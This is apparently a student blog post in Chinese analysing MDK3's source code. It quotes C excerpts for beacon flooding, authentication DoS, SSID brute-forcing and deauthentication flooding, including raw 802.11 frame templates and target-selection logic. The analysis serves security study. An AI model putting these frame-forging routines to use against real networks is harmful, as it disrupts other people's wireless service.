MDK3源码分析

前言

无线网络安全课的选题,我们组选得是无线网络恶意分析,然后我们最后选择的课题是MDK3工具的利用和分析,我的部分是分析MDK3的源码
在这里我要吐槽一下这个代码,缩进没有层次上的区分,再加上处理参数时用了大量的if-else结构和switch case,整个代码可读性基本就是一个差字,
而且处理参数为何不用getopt啊。。。

main()函数分析

大概截取一部分main()函数代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
switch (argv[2][0]) {
case 'b':
printf(use_beac);
break;
case 'a':
printf(use_auth);
break;
case 'p':
printf(use_prob);
break;
case 'd':
printf(use_deau);
break;
case 'm':
printf(use_mich);
break;
case 'x':
printf(use_eapo);
break;
case 'w':
printf(use_wids);
break;
case 'f':
printf(use_macb);
break;
case 'g':
printf(use_wpad);
break;
default:
printf(use_head);
}
/* open the replay interface */
_wi_out = wi_open(argv[1]);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
/* open the packet source */
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
/* XXX */
dev.arptype_in = dev.arptype_out;
/* drop privileges */
setuid( getuid() );
int retval = mdk_parser(argc, argv);
return( retval );

main()函数初步的解析了程序运行的参数,参数不对的话打出对应的help,然后传给mdk_parser()进行进一步处理
同样的截取一部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
switch (argv[2][0])
{
case 'b':
mode = 'b';
usespeed = 1;
for (t=3; t<argc; t++)
{
if (! strcmp(argv[t], "-n")) if (argc > t+1) ssid = argv[t+1];
if (! strcmp(argv[t], "-f")) if (argc > t+1) {
if (ssid_file_name == NULL) ssid_file_name = argv[t+1];
else { printf(use_beac); return -1; }
}
if (! strcmp(argv[t], "-v")) if (argc > t+1) {
if (ssid_file_name == NULL) { ssid_file_name = argv[t+1]; adv=1; }
else { printf(use_beac); return -1; }
}
if (! strcmp(argv[t], "-s")) if (argc > t+1) pps = strtol(argv[t+1], (char **) NULL, 10);
if (! strcmp(argv[t], "-c")) if (argc > t+1) fchan = strtol(argv[t+1], (char **) NULL, 10);
if (! strcmp(argv[t], "-h")) mode = 'B';
if (! strcmp(argv[t], "-m")) random_mac = 0;
if (! strcmp(argv[t], "-w")) wep = 1;
if (! strcmp(argv[t], "-g")) gmode = 1;
if (! strcmp(argv[t], "-t")) wep = 2;
if (! strcmp(argv[t], "-a")) wep = 3;
if (! strcmp(argv[t], "-d")) adhoc = 1;
}

getopt到底有啥不好的。。。非得这么麻烦
这里mode为b时使用的是beacon模式,用起来就是同时产生大量的fake ap,干扰用户的正常通信
这个工具还有强制认证解除模式,验证请求DOS攻击,探测AP爆破ESSID等,之后再讲

Beacon模式

parser()函数对该模式的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
case 'B':
if ((nb_sent % 30 == 0) || (total_time % 3 == 0)) // Switch Channel every 30 frames or 3 seconds
{
if (fchan) {
set_channel(fchan);
chan = fchan;
} else {
chan = generate_channel();
set_channel(chan);
}
}
frm = create_beacon_frame(ssid, chan, wep, random_mac, gmode, adhoc, adv);
break;
case 'b':
if (fchan) chan = fchan;
else chan = generate_channel();
frm = create_beacon_frame(ssid, chan, wep, random_mac, gmode, adhoc, adv);
break;

大写的B就是指定特定信道的时候用,我们来看一下create_beacon_frame()函数用到的几个变量

1
2
3
4
5
6
7
8
char *hdr = "\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x64\x00\x05\x00\x00";
char *param2 = "\x04\x06\x01\x02\x00\x00\x00\x00\x05\x04\x00\x01\x00\x00";
//WPA-TKIP Tag
char *wpatkip = "\xDD\x18\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x00\x00";
//WPA-AES Tag
char *wpaaes = "\xDD\x18\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x04\x01\x00\x00\x50\xF2\x04\x01\x00\x00\x50\xF2\x02\x00\x00";

这些数据视情况写到要发送的数据包里面

1
2
3
4
5
6
7
8
9
10
if(gmode) {
//1-54 Mbit
memcpy(&param1, "\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c\x03\x01", 12);
modelen = 12;
}
else {
//1-11 Mbit
memcpy(&param1, "\x01\x04\x82\x84\x8b\x96\x03\x01", 8);
modelen = 8;
}

这里根据是否使用54Mbit模式向param1写入不同信息,最后param1会写入要发送的数据包中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//Getting SSID from file if file mode is in use
if (advanced) {
ssid = fakeap.ssid;
} else {
if (!(ssid_file_name == NULL)) ssid = read_line_from_file();
}
//Need to generate SSID or is one given?
if (ssid == NULL) ssid = generate_ssid();
slen = strlen(ssid);
//Checking SSID lenght
if (slen>32 && showssidwarn1) {
printf("\rWARNING! Sending non-standard SSID > 32 bytes\n");
showssidwarn1 = 0;
}
if (slen>255) {
if (showssidwarn2) {
printf("\rWARNING! Truncating overlenght SSID to 255 bytes!\n");
showssidwarn2 = 0;
}
slen = 255;
}

这里是生成fake ap的SSID,如果有指定就从文件中读取,如果没有就使用generate_ssid()函数随机生成,之后进行SSID合法性检查

1
2
3
4
5
6
7
8
9
10
11
// Setting up header
memcpy(pkt, hdr, 36);
// Set mode and WEP bit if wanted
if(adhoc) {
if(wep) pkt[34]='\x12';
else pkt[34]='\x02';
}
else {
if(wep) pkt[34]='\x11';
else pkt[34]='\x01';
}

这里设置数据包头部,根据是否使用WEP模式来设置数据包中相应的数据

1
2
3
4
5
6
7
// Set random mac
if (advanced) {
mac.data = (uchar *) fakeap.mac;
} else {
if (random_mac) mac = generate_mac(0);
else mac = generate_mac(2);
}

这里是生成fake ap的MAC,如果有指定就从文件中读取,如果没有就使用generate_mac()函数随机生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
memcpy(pkt+10, mac.data, ETH_MAC_LEN);
memcpy(pkt+16, mac.data, ETH_MAC_LEN);
// Set SSID
pkt[37] = (uchar) slen;
memcpy(pkt+38, ssid, slen);
// Set Parameters 1
memcpy(pkt+38+slen, param1, modelen);
// Set Channel
pkt[38+slen+modelen] = chan;
// Set Parameters 2
memcpy(pkt+39+slen+modelen, param2, 14);
//Set WPA tag
if(wep == 2) { //If TKIP
memcpy(pkt+53+slen+modelen, wpatkip, 26);
modelen += 26; //Let's just reuse the variable from 'gmode'.
}
else if(wep == 3) { //If AES
memcpy(pkt+53+slen+modelen, wpaaes, 26);
modelen += 26;
}
retn.data = pkt;
retn.len = slen+53+modelen;
return retn;

设置数据包最后的容,根据需要指定加密模式,最后返回数据包给parser()函数

1
2
3
4
5
6
7
/* Sending packet, increase counters */
if (frm.len < 10) printf("WTF?!? Too small packet injection detected! BUG!!!\n");
send_packet(frm.data, frm.len);
nb_sent_ps++;
nb_sent++;
if (useqosexploit) { nb_sent_ps += 3; nb_sent += 3; } //Yes, I know... too lazy.

发送数据包

验证DOS攻击模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
case 'a':
mode = 'a';
for (t=3; t<argc; t++)
{
if (! strcmp(argv[t], "-a")) {
if (! argc > t+1) { printf(use_auth); return -1; }
ap = (uchar *) parse_mac(argv[t+1]);
mode = 'A';
}
if (! strcmp(argv[t], "-i")) {
if (! argc > t+1) { printf(use_auth); return -1; }
target = (uchar *) parse_mac(argv[t+1]);
mode = 'i';
usespeed = 1; pps = 500;
}
if (! strcmp(argv[t], "-c")) check = 1;
if (! strcmp(argv[t], "-m")) random_mac = 0;
if (! strcmp(argv[t], "-s")) if (argc > t+1) {
pps = strtol(argv[t+1], (char **) NULL, 10);
usespeed = 1;
}
}
break;

这里可以看出我们可以设置是否指定特定的AP,是否要返回测试结果,发包频率等参数

1
2
3
4
5
6
7
8
9
case 'a': // Automated Auth DoS mode
if ((nb_sent % 512 == 0) || (total_time % 30 == 0)) // After 512 packets or 30 seconds, search for new target
{
printf ("\rTrying to get a new target AP... \n");
ap = get_target_ap();
}
case 'A': // Auth DoS mode with target MAC given
frm = create_auth_frame(ap, random_mac, NULL);
break;

这里就是验证DOS模式的主逻辑了,get_target_ap()获取目标, create_auth_frame()生成验证数据包,我们先看get_target_ap()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
uchar *get_target_ap()
{
// Sniffing for beacon frames to find target APs
// Tries to to find NEW AP when called, saves already reported APs in aps_known[] array
// If it cannot find a new AP within 100 frames it either choses a random known AP
// or if no APs were ever found it keeps sniffing.
int len = 0;
int t, u, known;
uchar rnd;
keep_waiting: // When nothing ever found this is called after the sniffing loop
for (t=0; t<100; t++)
{
len = 0;
while (len < 22)
len = read_packet(pkt_sniff, 4096);
known = 0; // Clear known flag
if (! memcmp(pkt_sniff, "\x80", 1)) { //Filter: let only Beacon frames through
for (u=0; u<aps_known_count; u++)
{
if (! memcmp(aps_known[u], pkt_sniff+16, 6)) {
known = 1;
break;
} // AP known => Set known flag
}
if (! known) // AP is NEW, copy MAC to array and return it
{
memcpy(aps_known[aps_known_count], pkt_sniff+16, ETH_MAC_LEN);
aps_known_count++;
if ((unsigned int) aps_known_count >=
sizeof (aps_known) / sizeof (aps_known[0]) ) {
fprintf(stderr, "exceeded max aps_known\n");
exit (1);
}
return pkt_sniff+16;
}
}
}
// No new target found within 100 packets
// If there are no beacons at all, wait for some to appear
if (aps_known_count == 0)
goto keep_waiting;
// Pick random known AP to try once more
rnd = random() % aps_known_count;
return (uchar *) aps_known[rnd];
}

这里可以发现,程序将读取数据包的第一个字节与\x80进行比较,可以发现这个位置的数据是用来标记数据包是否为信号数据包,
这里就是不断的读取数据寻找AP,其中read_packet()是来自osdep的一个API,mdk3和aircrack都是基于它开发的
这里是不断寻找新的AP,找到了就和已知的AP进行比对,如果已经存在就跳过,直到寻找到新的AP为止
现在来看一下create_auth_frame()函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct pckt create_auth_frame(uchar *ap, int random_mac, uchar *client_mac)
{
// Generating an authentication frame
struct pckt retn;
char *hdr = "\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
struct pckt mac;
memcpy(pkt, hdr, 31);
// Set target AP
memcpy(pkt+4, ap, ETH_MAC_LEN);
memcpy(pkt+16,ap, ETH_MAC_LEN);
// Set client MAC
if (client_mac == NULL) {
if (random_mac) mac = generate_mac(0);
else mac = generate_mac(1);
memcpy(pkt+10,mac.data,ETH_MAC_LEN);
} else {
memcpy(pkt+10,client_mac,ETH_MAC_LEN);
}
retn.len = 30;
retn.data = pkt;
return retn;
}

这里其实就是简单的根据参数设置数据包的内容,和之前的beacon模式大同小异,最终生成的数据包会返回到parser()函数进行发包操作

探测AP及ESSID爆破

1
2
3
4
5
6
7
8
9
10
11
case 'p':
mac = generate_mac(1);
frm = create_probe_frame(ssid, mac);
break;
case 'P':
if (real_brute) {
frm = ssid_brute_real();
} else {
frm = ssid_brute();
}
break;

这里出现了两个分支,和上个模式一样根据参数决定,先看小写p代表的模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
struct pckt create_probe_frame(char *ssid, struct pckt mac)
{
// Generating Probe Frame
struct pckt retn;
char *hdr = "\x40\x00\x00\x00\xff\xff\xff\xff\xff\xff";
char *bcast = "\xff\xff\xff\xff\xff\xff";
char *seq = "\x00\x00\x00";
char *rates = "\x01\x04\x82\x84\x8b\x96";
int slen;
slen = strlen(ssid);
memcpy(pkt, hdr, 10);
// MAC which is probing
memcpy(pkt+10, mac.data, ETH_MAC_LEN);
// Destination: Broadcast
memcpy(pkt+16, bcast, ETH_MAC_LEN);
// Sequence
memcpy(pkt+22, seq, 3);
// SSID
pkt[25] = slen;
memcpy(pkt+26, ssid, slen);
// Supported Bitrates (1, 2, 5.5, 11 MBit)
memcpy(pkt+26+slen, rates, ETH_MAC_LEN);
retn.data = pkt;
retn.len = 26 + slen + ETH_MAC_LEN;
return retn;
}

同样的,这里设置了要发送的数据包内容,mac地址随机生成,需要探测的SSID则由用户给出
现在来看大写P的模式,另一个模式用于爆破可能存在的SSID,现在看看对应函数ssid_brute_real()的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (state == 0) {
//state0
//- SPAWN Sniffer thread
pthread_create( &sniffer, NULL, (void *) ssid_brute_sniffer, (void *) 1);
//- sniff beacon frame from target / do nothin if target==NULL
if (target != NULL) {
pkt = get_target_ssid();
//- set lenght variable
ssid_len = pkt.len;
if ((ssid_len == 1) || (ssid_len == 0)) {
ssid_len = 1; //Compensate 0 and 1-byte placeholder SSIDs as maximum len
unknown_len = 1;
}
//- set state1
state = 1;
//-> return probe packet using the SSID supplied by beacon frame
return create_probe_frame((char *)pkt.data, generate_mac(1));
}
//- In untargetted mode, continue
state = 1;
}

这里先是开启了新的线程,调用ssid_brute_sniffer()函数探测可能存在的SSID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void ssid_brute_sniffer()
{
printf("Sniffer thread started\n");
int len=0;
int i;
int no_disp;
//infinite loop
while (1) {
//sniff packet
len = read_packet(pkt_check, MAX_PACKET_LENGTH);
//is probe response?
if (! memcmp(pkt_check, "\x50", 1)) {
//parse + print response
uchar *mac = pkt_check+16;
uchar slen = pkt_check[37];
pkt_check[38+slen] = '\x00';
no_disp = 0;
for (i=0; i<aps_known_count; i++) {
if (!memcmp(aps_known[i], mac, ETH_MAC_LEN)) no_disp = 1;
}
if (!exit_now && !no_disp) {
printf("\nGot response from %02X:%02X:%02X:%02X:%02X:%02X, SSID: \"%s\"\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], pkt_check+38);
printf("Last try was: %s\n", brute_ssid);
}
if (!no_disp) {
memcpy(aps_known[aps_known_count], mac, ETH_MAC_LEN);
aps_known_count++;
if ((unsigned int) aps_known_count >=
sizeof (aps_known) / sizeof (aps_known[0]) ) {
fprintf(stderr, "exceeded max aps_known\n");
exit (1);
}
}
//If response is from target, exit mdk3
if (target != NULL) {
if (!memcmp(pkt_check+16, target, ETH_MAC_LEN)) {
exit_now = 1;
}
}
}
//loop
}
}

对应函数ssid_brute_real()的另一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if (state == 1) {
//state1
//- get SSID to probe for
bruteforce_ssid();
ssid = brute_ssid;
//- Stop work if last SSID is generated and sent
if (end) {
if (unknown_len) {
printf("\nAll %d possible SSIDs with length %d sent, trying length %d.\n", turns-1, ssid_len, ssid_len+1);
end = 0; turns = 0; //Resetting bruteforce counters, trying one byte more
memset(brute_ssid, 0, (256 * sizeof(char)));
ssid_len++;
} else {
if (max_permutations) printf("\nall %d possible SSIDs sent.\n", turns-1);
else printf("\nall %d possible SSIDs sent.\n", max_permutations);
exit_now = 1;
}
}
//-> return packet containing SSID
return create_probe_frame(ssid, generate_mac(1));
}
return pkt;

这里则是爆破生成SSID进行探测,还有另外一个ssid_brute()函数则是从文件中读取要爆破的SSID

强制断开验证

1
2
3
case 'd':
frm = amok_machine(list_file);
break;

这个模式下会不断的发送断开验证的数据包,强制瘫痪掉一部分无线网络

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
case 'd':
mode = 'd';
for (t=3; t<argc; t++)
{
if (! strcmp(argv[t], "-s")) if (argc > t+1) {
pps = strtol(argv[t+1], (char **) NULL, 10);
usespeed = 1;
}
if (! strcmp(argv[t], "-w")) if (argc > t+1) {
if (wblist != 0) { printf(use_deau); return -1; }
load_whitelist(argv[t+1]);
list_file = argv[t+1];
wblist = 1;
}
if (! strcmp(argv[t], "-b")) if (argc > t+1) {
if (wblist != 0) { printf(use_deau); return -1; }
load_whitelist(argv[t+1]);
list_file = argv[t+1];
wblist = 2;
}
if (! strcmp(argv[t], "-c")) {
if (argc > t+1) {
// There is a channel list given
init_channel_hopper(argv[t+1], 3);
} else {
// No list given
init_channel_hopper(NULL, 3);
}
}
}

这里可以看出这个模式支持白名单,指定发包速率和指定信道
现在我们看看所使用的amok_machine()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
case 0:
newone:
if (wblist) { //Periodically re-read list every LIST_REREAD_PERIOD sec.
if (t_prev == 0) {
printf("Periodically re-reading blacklist/whitelist every %d seconds\n\n", LIST_REREAD_PERIOD);
}
if (time(NULL) - t_prev >= LIST_REREAD_PERIOD) {
t_prev = time( NULL );
load_whitelist(filename);
}
}
pkt_amok = get_target_deauth();
if ((pkt_amok[1] & '\x01') && (pkt_amok[1] & '\x02')) { // WDS packet
mac_sa = pkt_amok + 4;
mac_ta = pkt_amok + 10;
wds = 1;
}
else if (pkt_amok[1] & '\x01') { // ToDS packet
mac_ta = pkt_amok + 4;
mac_sa = pkt_amok + 10;
wds = 0;
}
else if (pkt_amok[1] & '\x02') { // FromDS packet
mac_sa = pkt_amok + 4;
mac_ta = pkt_amok + 10;
wds = 0;
}
else if ((!(pkt_amok[1] & '\x01')) && (!(pkt_amok[1] & '\x02'))) { //AdHoc packet
mac_sa = pkt_amok + 10;
mac_ta = pkt_amok + 16;
wds = 0;
}
else {
goto newone;
}
if (wblist == 2) { //Using Blacklist mode - Skip if neither Client nor AP is in list
if (!(is_whitelisted(mac_ta)) && !((is_whitelisted(mac_sa))))
goto newone;
}
if (wblist == 1) { //Using Whitelist mode - Skip if Client or AP is in list
if (is_whitelisted(mac_ta)) goto newone;
if (is_whitelisted(mac_sa)) goto newone;
}
state = 1;
return create_deauth_frame(mac_ta, mac_sa, mac_ta, 1);

这里指代的是默认的case,主要是根据黑白名单过滤掉相应的mac地址,然后再设置数据包内容,其他case大同小异,细节不同而已

总结

MDK3其实还有其他很多有趣的功能,也有很多值得我们去分析,整个MDK3.c大概4K行,我可能看了大概不到一半,还是有很多东西值得我们去深究的

文章目录
  1. 1. 前言
  2. 2. main()函数分析
  3. 3. Beacon模式
  4. 4. 验证DOS攻击模式
  5. 5. 探测AP及ESSID爆破
  6. 6. 强制断开验证
  7. 7. 总结
|